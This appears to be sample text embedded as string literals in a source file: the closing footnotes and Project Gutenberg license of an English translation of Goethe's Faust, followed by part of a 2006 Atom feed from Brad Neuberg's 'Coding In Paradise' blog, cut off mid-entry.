Hayward says is\ untranslatable. It probably means an old tower, such as is often found in\ the free cities, where, in a dark passage-way, a lamp is sometimes placed,\ and a devotional image near it.]\ \ [Footnote 28: It was a superstitious belief that the presence of buried\ treasure was indicated by a blue flame.]\ \ [Footnote 29: Lion-dollars--a Bohemian coin, first minted three centuries\ ago, by Count Schlick, from the mines of Joachim's-Thal. The one side\ bears a lion, the other a full length image of St. John.]\ \ [Footnote 30: An imitation of Ophelia's song: _Hamlet_, act 14, scene 5.]\ \ [Footnote 31: The Rat-catcher was supposed to have the art of drawing rats\ after him by his whistle, like a sort of Orpheus.]\ \ [Footnote 32: Walpurgis Night. May-night. Walpurgis is the female saint\ who converted the Saxons to Christianity.--The Brocken or Blocksberg is\ the highest peak of the Harz mountains, which comprise about 1350 square\ miles.--Schirke and Elend are two villages in the neighborhood.]\ \ [Footnote 33: Shelley's translation of this couplet is very fine:\ (\"_O si sic omnia!_\")\ \ \"The giant-snouted crags, ho! ho!\ How they snort and how they blow!\"]\ \ [Footnote 34: The original is _Windsbraut_, (wind's-bride,) the word used\ in Luther's Bible to translate Paul's _Euroclydon_.]\ \ [Footnote 35: One of the names of the devil in Germany.]\ \ [Footnote 36: One of the names of Beelzebub.]\ \ [Footnote 37: \"The Talmudists say that Adam had a wife called Lilis before\ he married Eve, and of her he begat nothing but devils.\"\ _Burton's Anatomy of Melancholy_.\ \ A learned writer says that _Lullaby_ is derived from \"Lilla, abi!\" \"Begone\ Lilleth!\" she having been supposed to lie in wait for children to kill\ them.]\ \ [Footnote 38: This name, derived from two Greek words meaning _rump_ and\ _fancy_, was meant for Nicolai of Berlin, a great hater of Goethe's\ writings, and is explained by the fact that the man had for a long time a\ violent affection of the nerves, and by the application he made of leeches\ as a remedy, (alluded to by Mephistopheles.)]\ \ [Footnote 39: Tegel (mistranslated _pond_ by Shelley) is a small place a\ few miles from Berlin, whose inhabitants were, in 1799, hoaxed by a ghost\ story, of which the scene was laid in the former place.]\ \ [Footnote 40: The park in Vienna.]\ \ [Footnote 41: He was scene-painter to the Weimar theatre.]\ \ [Footnote 42: A poem of Schiller's, which gave great offence to the\ religious people of his day.]\ \ [Footnote 43: A literal translation of _Maulen_, but a slang-term in\ Yankee land.]\ \ [Footnote 44: Epigrams, published from time to time by Goethe and Schiller\ jointly. Hennings (whose name heads the next quatrain) was editor of the\ _Musaget_, (a title of Apollo, \"leader of the muses,\") and also of the\ _Genius of the Age_. The other satirical allusions to classes of\ notabilities will, without difficulty, be guessed out by the readers.]\ \ [Footnote 45: \"_Doubt_ is the only rhyme for devil,\" in German.]\ \ [Footnote 46: The French translator, Stapfer, assigns as the probable\ reason why this scene alone, of the whole drama, should have been left in\ prose, \"that it might not be said that Faust wanted any one of the\ possible forms of style.\"]\ \ [Footnote 47: Literally the _raven-stone_.]\ \ [Footnote 48: The _blood-seat_, in allusion to the old German custom of\ tying a woman, who was to be beheaded, into a wooden chair.]\ \ * * * * *\ \ P. S. There is a passage on page 84, the speech of Faust, ending with the\ lines:--\ \ Show me the fruit that, ere it's plucked, will rot,\ And trees from which new green is daily peeping,\ \ which seems to have puzzled or misled so much, not only English\ translators, but even German critics, that the present translator has\ concluded, for once, to depart from his usual course, and play the\ commentator, by giving his idea of Goethe's meaning, which is this: Faust\ admits that the devil has all the different kinds of Sodom-apples which he\ has just enumerated, gold that melts away in the hand, glory that vanishes\ like a meteor, and pleasure that perishes in the possession. But all these\ torments are too insipid for Faust's morbid and mad hankering after the\ luxury of spiritual pain. Show me, he says, the fruit that rots _before_\ one can pluck it, and [a still stronger expression of his diseased craving\ for agony] trees that fade so quickly as to be every day just putting\ forth new green, only to tantalize one with perpetual promise and\ perpetual disappointment.\ \ \ \ \ \ End of the Project Gutenberg EBook of Faust, by Goethe\ \ *** END OF THIS PROJECT GUTENBERG EBOOK FAUST ***\ \ ***** This file should be named 14460-8.txt or 14460-8.zip *****\ This and all associated files of various formats will be found in:\ http://www.gutenberg.net/1/4/4/6/14460/\ \ Produced by Juliet Sutherland, Charles Bidwell and the PG Online\ Distributed Proofreading Team\ \ \ Updated editions will replace the previous one--the old editions\ will be renamed.\ \ Creating the works from public domain print editions means that no\ one owns a United States copyright in these works, so the Foundation\ (and you!) can copy and distribute it in the United States without\ permission and without paying copyright royalties. Special rules,\ set forth in the General Terms of Use part of this license, apply to\ copying and distributing Project Gutenberg-tm electronic works to\ protect the PROJECT GUTENBERG-tm concept and trademark. Project\ Gutenberg is a registered trademark, and may not be used if you\ charge for the eBooks, unless you receive specific permission. If you\ do not charge anything for copies of this eBook, complying with the\ rules is very easy. You may use this eBook for nearly any purpose\ such as creation of derivative works, reports, performances and\ research. They may be modified and printed and given away--you may do\ practically ANYTHING with public domain eBooks. Redistribution is\ subject to the trademark license, especially commercial\ redistribution.\ \ \ \ *** START: FULL LICENSE ***\ \ THE FULL PROJECT GUTENBERG LICENSE\ PLEASE READ THIS BEFORE YOU DISTRIBUTE OR USE THIS WORK\ \ To protect the Project Gutenberg-tm mission of promoting the free\ distribution of electronic works, by using or distributing this work\ (or any other work associated in any way with the phrase \"Project\ Gutenberg\"), you agree to comply with all the terms of the Full Project\ Gutenberg-tm License (available with this file or online at\ http://gutenberg.net/license).\ \ \ Section 1. General Terms of Use and Redistributing Project Gutenberg-tm\ electronic works\ \ 1.A. By reading or using any part of this Project Gutenberg-tm\ electronic work, you indicate that you have read, understand, agree to\ and accept all the terms of this license and intellectual property\ (trademark/copyright) agreement. If you do not agree to abide by all\ the terms of this agreement, you must cease using and return or destroy\ all copies of Project Gutenberg-tm electronic works in your possession.\ If you paid a fee for obtaining a copy of or access to a Project\ Gutenberg-tm electronic work and you do not agree to be bound by the\ terms of this agreement, you may obtain a refund from the person or\ entity to whom you paid the fee as set forth in paragraph 1.E.8.\ \ 1.B. \"Project Gutenberg\" is a registered trademark. It may only be\ used on or associated in any way with an electronic work by people who\ agree to be bound by the terms of this agreement. There are a few\ things that you can do with most Project Gutenberg-tm electronic works\ even without complying with the full terms of this agreement. See\ paragraph 1.C below. There are a lot of things you can do with Project\ Gutenberg-tm electronic works if you follow the terms of this agreement\ and help preserve free future access to Project Gutenberg-tm electronic\ works. See paragraph 1.E below.\ \ 1.C. The Project Gutenberg Literary Archive Foundation (\"the Foundation\"\ or PGLAF), owns a compilation copyright in the collection of Project\ Gutenberg-tm electronic works. Nearly all the individual works in the\ collection are in the public domain in the United States. If an\ individual work is in the public domain in the United States and you are\ located in the United States, we do not claim a right to prevent you from\ copying, distributing, performing, displaying or creating derivative\ works based on the work as long as all references to Project Gutenberg\ are removed. Of course, we hope that you will support the Project\ Gutenberg-tm mission of promoting free access to electronic works by\ freely sharing Project Gutenberg-tm works in compliance with the terms of\ this agreement for keeping the Project Gutenberg-tm name associated with\ the work. You can easily comply with the terms of this agreement by\ keeping this work in the same format with its attached full Project\ Gutenberg-tm License when you share it without charge with others.\ \ 1.D. The copyright laws of the place where you are located also govern\ what you can do with this work. Copyright laws in most countries are in\ a constant state of change. If you are outside the United States, check\ the laws of your country in addition to the terms of this agreement\ before downloading, copying, displaying, performing, distributing or\ creating derivative works based on this work or any other Project\ Gutenberg-tm work. The Foundation makes no representations concerning\ the copyright status of any work in any country outside the United\ States.\ \ 1.E. Unless you have removed all references to Project Gutenberg:\ \ 1.E.1. The following sentence, with active links to, or other immediate\ access to, the full Project Gutenberg-tm License must appear prominently\ whenever any copy of a Project Gutenberg-tm work (any work on which the\ phrase \"Project Gutenberg\" appears, or with which the phrase \"Project\ Gutenberg\" is associated) is accessed, displayed, performed, viewed,\ copied or distributed:\ \ This eBook is for the use of anyone anywhere at no cost and with\ almost no restrictions whatsoever. You may copy it, give it away or\ re-use it under the terms of the Project Gutenberg License included\ with this eBook or online at www.gutenberg.net\ \ 1.E.2. If an individual Project Gutenberg-tm electronic work is derived\ from the public domain (does not contain a notice indicating that it is\ posted with permission of the copyright holder), the work can be copied\ and distributed to anyone in the United States without paying any fees\ or charges. If you are redistributing or providing access to a work\ with the phrase \"Project Gutenberg\" associated with or appearing on the\ work, you must comply either with the requirements of paragraphs 1.E.1\ through 1.E.7 or obtain permission for the use of the work and the\ Project Gutenberg-tm trademark as set forth in paragraphs 1.E.8 or\ 1.E.9.\ \ 1.E.3. If an individual Project Gutenberg-tm electronic work is posted\ with the permission of the copyright holder, your use and distribution\ must comply with both paragraphs 1.E.1 through 1.E.7 and any additional\ terms imposed by the copyright holder. Additional terms will be linked\ to the Project Gutenberg-tm License for all works posted with the\ permission of the copyright holder found at the beginning of this work.\ \ 1.E.4. Do not unlink or detach or remove the full Project Gutenberg-tm\ License terms from this work, or any files containing a part of this\ work or any other work associated with Project Gutenberg-tm.\ \ 1.E.5. Do not copy, display, perform, distribute or redistribute this\ electronic work, or any part of this electronic work, without\ prominently displaying the sentence set forth in paragraph 1.E.1 with\ active links or immediate access to the full terms of the Project\ Gutenberg-tm License.\ \ 1.E.6. You may convert to and distribute this work in any binary,\ compressed, marked up, nonproprietary or proprietary form, including any\ word processing or hypertext form. However, if you provide access to or\ distribute copies of a Project Gutenberg-tm work in a format other than\ \"Plain Vanilla ASCII\" or other format used in the official version\ posted on the official Project Gutenberg-tm web site (www.gutenberg.net),\ you must, at no additional cost, fee or expense to the user, provide a\ copy, a means of exporting a copy, or a means of obtaining a copy upon\ request, of the work in its original \"Plain Vanilla ASCII\" or other\ form. Any alternate format must include the full Project Gutenberg-tm\ License as specified in paragraph 1.E.1.\ \ 1.E.7. Do not charge a fee for access to, viewing, displaying,\ performing, copying or distributing any Project Gutenberg-tm works\ unless you comply with paragraph 1.E.8 or 1.E.9.\ \ 1.E.8. You may charge a reasonable fee for copies of or providing\ access to or distributing Project Gutenberg-tm electronic works provided\ that\ \ - You pay a royalty fee of 20% of the gross profits you derive from\ the use of Project Gutenberg-tm works calculated using the method\ you already use to calculate your applicable taxes. The fee is\ owed to the owner of the Project Gutenberg-tm trademark, but he\ has agreed to donate royalties under this paragraph to the\ Project Gutenberg Literary Archive Foundation. Royalty payments\ must be paid within 60 days following each date on which you\ prepare (or are legally required to prepare) your periodic tax\ returns. Royalty payments should be clearly marked as such and\ sent to the Project Gutenberg Literary Archive Foundation at the\ address specified in Section 4, \"Information about donations to\ the Project Gutenberg Literary Archive Foundation.\"\ \ - You provide a full refund of any money paid by a user who notifies\ you in writing (or by e-mail) within 30 days of receipt that s/he\ does not agree to the terms of the full Project Gutenberg-tm\ License. You must require such a user to return or\ destroy all copies of the works possessed in a physical medium\ and discontinue all use of and all access to other copies of\ Project Gutenberg-tm works.\ \ - You provide, in accordance with paragraph 1.F.3, a full refund of any\ money paid for a work or a replacement copy, if a defect in the\ electronic work is discovered and reported to you within 90 days\ of receipt of the work.\ \ - You comply with all other terms of this agreement for free\ distribution of Project Gutenberg-tm works.\ \ 1.E.9. If you wish to charge a fee or distribute a Project Gutenberg-tm\ electronic work or group of works on different terms than are set\ forth in this agreement, you must obtain permission in writing from\ both the Project Gutenberg Literary Archive Foundation and Michael\ Hart, the owner of the Project Gutenberg-tm trademark. Contact the\ Foundation as set forth in Section 3 below.\ \ 1.F.\ \ 1.F.1. Project Gutenberg volunteers and employees expend considerable\ effort to identify, do copyright research on, transcribe and proofread\ public domain works in creating the Project Gutenberg-tm\ collection. Despite these efforts, Project Gutenberg-tm electronic\ works, and the medium on which they may be stored, may contain\ \"Defects,\" such as, but not limited to, incomplete, inaccurate or\ corrupt data, transcription errors, a copyright or other intellectual\ property infringement, a defective or damaged disk or other medium, a\ computer virus, or computer codes that damage or cannot be read by\ your equipment.\ \ 1.F.2. LIMITED WARRANTY, DISCLAIMER OF DAMAGES - Except for the \"Right\ of Replacement or Refund\" described in paragraph 1.F.3, the Project\ Gutenberg Literary Archive Foundation, the owner of the Project\ Gutenberg-tm trademark, and any other party distributing a Project\ Gutenberg-tm electronic work under this agreement, disclaim all\ liability to you for damages, costs and expenses, including legal\ fees. YOU AGREE THAT YOU HAVE NO REMEDIES FOR NEGLIGENCE, STRICT\ LIABILITY, BREACH OF WARRANTY OR BREACH OF CONTRACT EXCEPT THOSE\ PROVIDED IN PARAGRAPH F3. YOU AGREE THAT THE FOUNDATION, THE\ TRADEMARK OWNER, AND ANY DISTRIBUTOR UNDER THIS AGREEMENT WILL NOT BE\ LIABLE TO YOU FOR ACTUAL, DIRECT, INDIRECT, CONSEQUENTIAL, PUNITIVE OR\ INCIDENTAL DAMAGES EVEN IF YOU GIVE NOTICE OF THE POSSIBILITY OF SUCH\ DAMAGE.\ \ 1.F.3. LIMITED RIGHT OF REPLACEMENT OR REFUND - If you discover a\ defect in this electronic work within 90 days of receiving it, you can\ receive a refund of the money (if any) you paid for it by sending a\ written explanation to the person you received the work from. If you\ received the work on a physical medium, you must return the medium with\ your written explanation. The person or entity that provided you with\ the defective work may elect to provide a replacement copy in lieu of a\ refund. If you received the work electronically, the person or entity\ providing it to you may choose to give you a second opportunity to\ receive the work electronically in lieu of a refund. If the second copy\ is also defective, you may demand a refund in writing without further\ opportunities to fix the problem.\ \ 1.F.4. Except for the limited right of replacement or refund set forth\ in paragraph 1.F.3, this work is provided to you 'AS-IS' WITH NO OTHER\ WARRANTIES OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO\ WARRANTIES OF MERCHANTIBILITY OR FITNESS FOR ANY PURPOSE.\ \ 1.F.5. Some states do not allow disclaimers of certain implied\ warranties or the exclusion or limitation of certain types of damages.\ If any disclaimer or limitation set forth in this agreement violates the\ law of the state applicable to this agreement, the agreement shall be\ interpreted to make the maximum disclaimer or limitation permitted by\ the applicable state law. The invalidity or unenforceability of any\ provision of this agreement shall not void the remaining provisions.\ \ 1.F.6. INDEMNITY - You agree to indemnify and hold the Foundation, the\ trademark owner, any agent or employee of the Foundation, anyone\ providing copies of Project Gutenberg-tm electronic works in accordance\ with this agreement, and any volunteers associated with the production,\ promotion and distribution of Project Gutenberg-tm electronic works,\ harmless from all liability, costs and expenses, including legal fees,\ that arise directly or indirectly from any of the following which you do\ or cause to occur: (a) distribution of this or any Project Gutenberg-tm\ work, (b) alteration, modification, or additions or deletions to any\ Project Gutenberg-tm work, and (c) any Defect you cause.\ \ \ Section 2. Information about the Mission of Project Gutenberg-tm\ \ Project Gutenberg-tm is synonymous with the free distribution of\ electronic works in formats readable by the widest variety of computers\ including obsolete, old, middle-aged and new computers. It exists\ because of the efforts of hundreds of volunteers and donations from\ people in all walks of life.\ \ Volunteers and financial support to provide volunteers with the\ assistance they need, is critical to reaching Project Gutenberg-tm's\ goals and ensuring that the Project Gutenberg-tm collection will\ remain freely available for generations to come. In 2001, the Project\ Gutenberg Literary Archive Foundation was created to provide a secure\ and permanent future for Project Gutenberg-tm and future generations.\ To learn more about the Project Gutenberg Literary Archive Foundation\ and how your efforts and donations can help, see Sections 3 and 4\ and the Foundation web page at http://www.pglaf.org.\ \ \ Section 3. Information about the Project Gutenberg Literary Archive\ Foundation\ \ The Project Gutenberg Literary Archive Foundation is a non profit\ 501(c)(3) educational corporation organized under the laws of the\ state of Mississippi and granted tax exempt status by the Internal\ Revenue Service. The Foundation's EIN or federal tax identification\ number is 64-6221541. Its 501(c)(3) letter is posted at\ http://pglaf.org/fundraising. Contributions to the Project Gutenberg\ Literary Archive Foundation are tax deductible to the full extent\ permitted by U.S. federal laws and your state's laws.\ \ The Foundation's principal office is located at 4557 Melan Dr. S.\ Fairbanks, AK, 99712., but its volunteers and employees are scattered\ throughout numerous locations. Its business office is located at\ 809 North 1500 West, Salt Lake City, UT 84116, (801) 596-1887, email\ business@pglaf.org. Email contact links and up to date contact\ information can be found at the Foundation's web site and official\ page at http://pglaf.org\ \ For additional contact information:\ Dr. Gregory B. Newby\ Chief Executive and Director\ gbnewby@pglaf.org\ \ \ Section 4. Information about Donations to the Project Gutenberg\ Literary Archive Foundation\ \ Project Gutenberg-tm depends upon and cannot survive without wide\ spread public support and donations to carry out its mission of\ increasing the number of public domain and licensed works that can be\ freely distributed in machine readable form accessible by the widest\ array of equipment including outdated equipment. Many small donations\ ($1 to $5,000) are particularly important to maintaining tax exempt\ status with the IRS.\ \ The Foundation is committed to complying with the laws regulating\ charities and charitable donations in all 50 states of the United\ States. Compliance requirements are not uniform and it takes a\ considerable effort, much paperwork and many fees to meet and keep up\ with these requirements. We do not solicit donations in locations\ where we have not received written confirmation of compliance. To\ SEND DONATIONS or determine the status of compliance for any\ particular state visit http://pglaf.org\ \ While we cannot and do not solicit contributions from states where we\ have not met the solicitation requirements, we know of no prohibition\ against accepting unsolicited donations from donors in such states who\ approach us with offers to donate.\ \ International donations are gratefully accepted, but we cannot make\ any statements concerning tax treatment of donations received from\ outside the United States. U.S. laws alone swamp our small staff.\ \ Please check the Project Gutenberg Web pages for current donation\ methods and addresses. Donations are accepted in a number of other\ ways including including checks, online payments and credit card\ donations. To donate, please visit: http://pglaf.org/donate\ \ \ Section 5. General Information About Project Gutenberg-tm electronic\ works.\ \ Professor Michael S. Hart is the originator of the Project Gutenberg-tm\ concept of a library of electronic works that could be freely shared\ with anyone. For thirty years, he produced and distributed Project\ Gutenberg-tm eBooks with only a loose network of volunteer support.\ \ \ Project Gutenberg-tm eBooks are often created from several printed\ editions, all of which are confirmed as Public Domain in the U.S.\ unless a copyright notice is included. Thus, we do not necessarily\ keep eBooks in compliance with any particular paper edition.\ \ \ Most people start at our Web site which has the main PG search facility:\ \ http://www.gutenberg.net\ \ This Web site includes information about Project Gutenberg-tm,\ including how to make donations to the Project Gutenberg Literary\ Archive Foundation, how to help produce our new eBooks, and how to\ subscribe to our email newsletter to hear about new eBooks.", textXML = "<?xml version=\"1.0\" encoding=\"windows-1252\" standalone=\"yes\"?>\ <feed xmlns=\"http://purl.org/atom/ns#\" version=\"0.3\" xml:lang=\"en-US\">\ <link href=\"https://www.blogger.com/atom/3191291\" rel=\"service.post\" title=\"Coding In Paradise\" type=\"application/atom+xml\"/>\ <link href=\"https://www.blogger.com/atom/3191291\" rel=\"service.feed\" title=\"Coding In Paradise\" type=\"application/atom+xml\"/>\ <title mode=\"escaped\" type=\"text/html\">Coding In Paradise</title>\ <tagline mode=\"escaped\" type=\"text/html\">Brad Neuberg's thoughts, feelings, and experiences.</tagline>\ <link href=\"http://codinginparadise.org/weblog/\" rel=\"alternate\" title=\"Coding In Paradise\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291</id>\ <modified>2006-01-26T01:37:22Z</modified>\ <generator url=\"http://www.blogger.com/\" version=\"5.15\">Blogger</generator>\ <info mode=\"xml\" type=\"text/html\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">This is an Atom formatted XML site feed. It is intended to be viewed in a Newsreader or syndicated to another site. Please visit the <a href=\"http://help.blogger.com/bin/answer.py?answer=697\">Blogger Help</a> for more info.</div>\ </info>\ <convertLineBreaks xmlns=\"http://www.blogger.com/atom/ns#\">true</convertLineBreaks>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113823944195262179\" rel=\"service.edit\" title=\"Resume\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-25T17:36:00-08:00</issued>\ <modified>2006-01-26T01:37:21Z</modified>\ <created>2006-01-26T01:37:21Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/resume.html\" rel=\"alternate\" title=\"Resume\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113823944195262179</id>\ <title mode=\"escaped\" type=\"text/html\">Resume</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">I just finished and put up my resume. Resumes are hard :)</div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113761645059106145\" rel=\"service.edit\" title=\"AJAXian Site Comparison with Alexa\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-18T12:33:00-08:00</issued>\ <modified>2006-01-18T20:34:10Z</modified>\ <created>2006-01-18T20:34:10Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/ajaxian-site-comparison-with-alexa.html\" rel=\"alternate\" title=\"AJAXian Site Comparison with Alexa\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113761645059106145</id>\ <title mode=\"escaped\" type=\"text/html\">AJAXian Site Comparison with Alexa</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">Joe Walker has created an interesting AJAX mashup using Alexa data, making Alexa a bit more useful.</div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113761599631873348\" rel=\"service.edit\" title=\"Civil Engines Released\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-18T12:16:00-08:00</issued>\ <modified>2006-01-18T21:43:11Z</modified>\ <created>2006-01-18T20:26:36Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/civil-engines-released.html\" rel=\"alternate\" title=\"Civil Engines Released\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113761599631873348</id>\ <title mode=\"escaped\" type=\"text/html\">Civil Engines Released</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">My old cohorts with BaseSystem and OpenPortal, Christoper Tse, Paolo de Dios, and Ken Rossi of Liquid Orb Media have just shipped their software and announced their company. The company is named Civil Engines, and the software is called Civil Netizen:\ \ Civil Netizen provides a useful, secure way to easily transfer large files and groups of files between people on the Internet, getting past FTP</div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113756800036562086\" rel=\"service.edit\" title=\"Photos of Mash Pit\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-17T23:06:00-08:00</issued>\ <modified>2006-01-18T07:13:56Z</modified>\ <created>2006-01-18T07:06:40Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/photos-of-mash-pit.html\" rel=\"alternate\" title=\"Photos of Mash Pit\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113756800036562086</id>\ <title mode=\"escaped\" type=\"text/html\">Photos of Mash Pit</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">Photos of Flash Pit are up on Flickr now:\ \ \ \ \ \ \ \ \ \ </div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113756743174780868\" rel=\"service.edit\" title=\"Offline Access in AJAX Applications\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-17T22:56:00-08:00</issued>\ <modified>2006-01-18T19:45:28Z</modified>\ <created>2006-01-18T06:57:11Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/offline-access-in-ajax-applications.html\" rel=\"alternate\" title=\"Offline Access in AJAX Applications\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113756743174780868</id>\ <title mode=\"escaped\" type=\"text/html\">Offline Access in AJAX Applications</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">Update: Julien reports that he's not actually using AMASS in his offline work, but was inspired by it. He rolled his own access to Flash's storage capabilities using ExternalInterface, but he should be aware of the reliability and performance issues with ExternalInterface (I tried to paste 250K of text into the Wiki and the browser locked up for a long period of time as it tried to pass the data</div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113756574524170757\" rel=\"service.edit\" title=\"Mash Pit Synopses\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-17T22:15:00-08:00</issued>\ <modified>2006-01-18T06:29:05Z</modified>\ <created>2006-01-18T06:29:05Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/mash-pit-synopses.html\" rel=\"alternate\" title=\"Mash Pit Synopses\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113756574524170757</id>\ <title mode=\"escaped\" type=\"text/html\">Mash Pit Synopses</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">Man, what an amazing event! We had a post-Mash Pit dinner and party at Lonely Palm.\ \ Here's some more info about the three projects that were produced at the end of the day.\ \ The first one was called Whuffie Tracker; the idea there was to produce a single site that could take your list of blogs and online sites, query other remote sites like Technorati and Flickr, and tell you who is talking about</div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113754717012597001\" rel=\"service.edit\" title=\"Mash Pit 4\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-17T17:19:00-08:00</issued>\ <modified>2006-01-18T01:19:30Z</modified>\ <created>2006-01-18T01:19:30Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/mash-pit-4.html\" rel=\"alternate\" title=\"Mash Pit 4\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113754717012597001</id>\ <title mode=\"escaped\" type=\"text/html\">Mash Pit 4</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">It's demo time at Mash Pit. Everyone is furiously coding, but the clock is almost over. We'll have three demos. I'll try to blog them as people give them.</div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113754482097808410\" rel=\"service.edit\" title=\"Mash Pit 3\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-17T16:39:00-08:00</issued>\ <modified>2006-01-18T00:40:20Z</modified>\ <created>2006-01-18T00:40:20Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/mash-pit-3.html\" rel=\"alternate\" title=\"Mash Pit 3\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113754482097808410</id>\ <title mode=\"escaped\" type=\"text/html\">Mash Pit 3</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">We're hacking away, very intensely! No time to post! Just 30 more minutes till we have to be done, at 5:15 PM. Nothing like a hard deadline to force you to make hard decisions.</div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113753268191434316\" rel=\"service.edit\" title=\"Mash Pit 2\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-17T10:43:00-08:00</issued>\ <modified>2006-01-17T21:18:01Z</modified>\ <created>2006-01-17T21:18:01Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/mash-pit-2.html\" rel=\"alternate\" title=\"Mash Pit 2\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113753268191434316</id>\ <title mode=\"escaped\" type=\"text/html\">Mash Pit 2</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div xmlns=\"http://www.w3.org/1999/xhtml\">People are doing intros, saying what their skills are and what they are interested in.\ \ We had a big brainstorming session in the morning. The goal was to focus on ideas independent of technology, to force us to focus on whether something is relevant rather than just technologically interesting.\ \ We broke for lunch, sponsored by Ning.\ \ We've formed three groups that are working independently now.</div>\ </summary>\ <draft xmlns=\"http://purl.org/atom-blog/ns#\">false</draft>\ </entry>\ <entry xmlns=\"http://purl.org/atom/ns#\">\ <link href=\"https://www.blogger.com/atom/3191291/113752336910726653\" rel=\"service.edit\" title=\"Mash Pit Starts\" type=\"application/atom+xml\"/>\ <author>\ <name>Brad GNUberg</name>\ </author>\ <issued>2006-01-17T10:36:00-08:00</issued>\ <modified>2006-01-17T18:42:49Z</modified>\ <created>2006-01-17T18:42:49Z</created>\ <link href=\"http://codinginparadise.org/weblog/2006/01/mash-pit-starts.html\" rel=\"alternate\" title=\"Mash Pit Starts\" type=\"text/html\"/>\ <id>tag:blogger.com,1999:blog-3191291.post-113752336910726653</id>\ <title mode=\"escaped\" type=\"text/html\">Mash Pit Starts</title>\ <summary type=\"application/xhtml+xml\" xml:base=\"http://codinginparadise.org/weblog/\" xml:space=\"preserve\">\ <div 